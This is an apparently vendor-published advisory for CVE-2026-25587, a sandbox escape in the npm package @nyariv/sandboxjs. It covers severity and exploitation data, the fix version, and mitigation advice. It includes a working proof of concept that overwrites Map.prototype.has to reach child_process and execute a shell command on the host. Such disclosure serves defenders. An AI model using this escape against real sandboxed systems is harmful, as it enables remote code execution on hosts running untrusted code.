CVE-2026-25587 is a critical-severity (CVSS 10) Code Injection vulnerability in @nyariv/sandboxjs. A fix is available for @nyariv/sandboxjs — see the affected versions and patch details below.
SandboxJS has a Sandbox Escape
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25587.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-25587 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@nyariv/sandboxjsnpmDescription
Summary
As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.
Details
This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:
let a = Map.prototype;
console.log(a) // undefined
const a = Map.prototype;
console.log(a) // Object [Map] {}
let a = 123;
console.log(a) // 123
const a = 123;
console.log(a) // 123
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const m = Map.prototype;
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
sb.compile(payload)().run();
Impact
Able to set Map.prototype.has -> RCE
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nyariv/sandboxjs | all versions | 0.8.29npm install @nyariv/sandboxjs@0.8.29 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @nyariv/sandboxjs to 0.8.29 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25587 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-25587 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-25587. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-25587 in your dependencies?
O3 Security finds CVE-2026-25587 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.